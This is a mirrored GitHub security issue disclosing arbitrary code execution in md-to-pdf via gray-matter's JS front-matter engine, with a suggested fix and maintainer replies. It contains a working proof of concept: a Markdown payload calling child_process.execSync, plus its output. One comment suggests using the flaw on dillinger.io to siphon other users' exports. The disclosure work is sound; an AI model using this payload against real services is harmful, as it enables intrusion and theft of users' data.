Security: gray-matter exposes front matter JS-engine that leads to arbitrary code execution
See original GitHub issueThe library gray-matter (used by md-to-pdf to parse front matter) exposes a JS-engine by default, which essentially runs eval on the given Markdown.
https://github.com/simonhaenisch/md-to-pdf/blob/master/src/lib/md-to-pdf.ts#L26
Given that md-to-pdf is only a Markdown to PDF-library and looking at how other projects use it - I think it is an undesirable feature to be able to execute any arbitrary Javascript by anyone in control of the Markdown content.
A possible fix would be to override gray-matter’s JS-engine:
const { content: md, data: frontMatterConfig } = grayMatter(mdFileContent, { engines : { js : () => {} } } );
PoC:
$ cat /tmp/RCE.txt
cat: /tmp/RCE.txt: No such file or directory
$ node poc.js
$ cat /tmp/RCE.txt
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
poc.js:
const { mdToPdf } = require('md-to-pdf');
var payload = '---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE';
(async () => {
await mdToPdf({ content: payload }, { dest: './output.pdf' });
})();
Issue Analytics
- State:
- Created 2 years ago
- Comments:6 (4 by maintainers)
Top Results From Across the Web
CVE-2021-23639
Security : gray-matter exposes front matter JS-engine that leads to arbitrary code execution · Issue #99 · simonhaenisch/md-to-pdf · GitHub ...
Read more >Security Vulnerabilities (Execute Code) - CVE Details
# CVE ID CWE ID Vulnerability Type(s) Publish Date Update Date Score G...
6051 CVE‑2021‑24070 416 Exec Code 2021‑02‑25 2021‑03‑03 6.8 N...
6052 CVE‑2021‑24069 Exec...
Read more >Cyber Apocalypse CTF 2022 — Intergalactic Chase Write up
Security : gray-matter exposes front matter JS-engine that leads to arbitrary code execution · Issue… You can't perform that action at this time....
Read more >Solve Hack the Box and other CTF challenges with Snyk
The Snyk CLI allows you to run SAST (static application security ... by md-to-pdf to parse front matter) exposing a JS-engine by default....
Read more >Remote code execution vulnerability exposed in popular ...
Flaw allows remote attackers to inject arbitrary code due to insecure ... security vulnerability found in the serialize-javascript NPM ...
Read more >Top Related Medium Post
No results found
Top Related StackOverflow Question
No results found
Troubleshoot Live Code
Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start FreeTop Related Reddit Thread
No results found
Top Related Hackernoon Post
No results found
Top Related Tweet
No results found
Top Related Dev.to Post
No results found
Top Related Hashnode Post
No results found
Top GitHub Comments
BTW I saw in your Github activity that you also raised an issue with dillinger.io which is using this package, and I’m actually able to use this exploit there, e. g. I would add a front matter like
and then use export > PDF. I’m not sure about the damage that can be done here but one idea would be to try and send myself all file exports that are happening in the hopes that someone uses dillinger.io for secret/internal data.
FYI @joemccann, I’ll see that I get a new major version out that disables this feature by default, and make a PR to your repo to update the package.
The documentation seems to be a bit misleading and
{ language : '...' }
actually just means the default engine if the language identifier is omitted from the front matter, all engines are still accessible by using---<language identifier>
.Agree, an opt-in config option for which engines to use makes sense and sounds like the right way to solve this.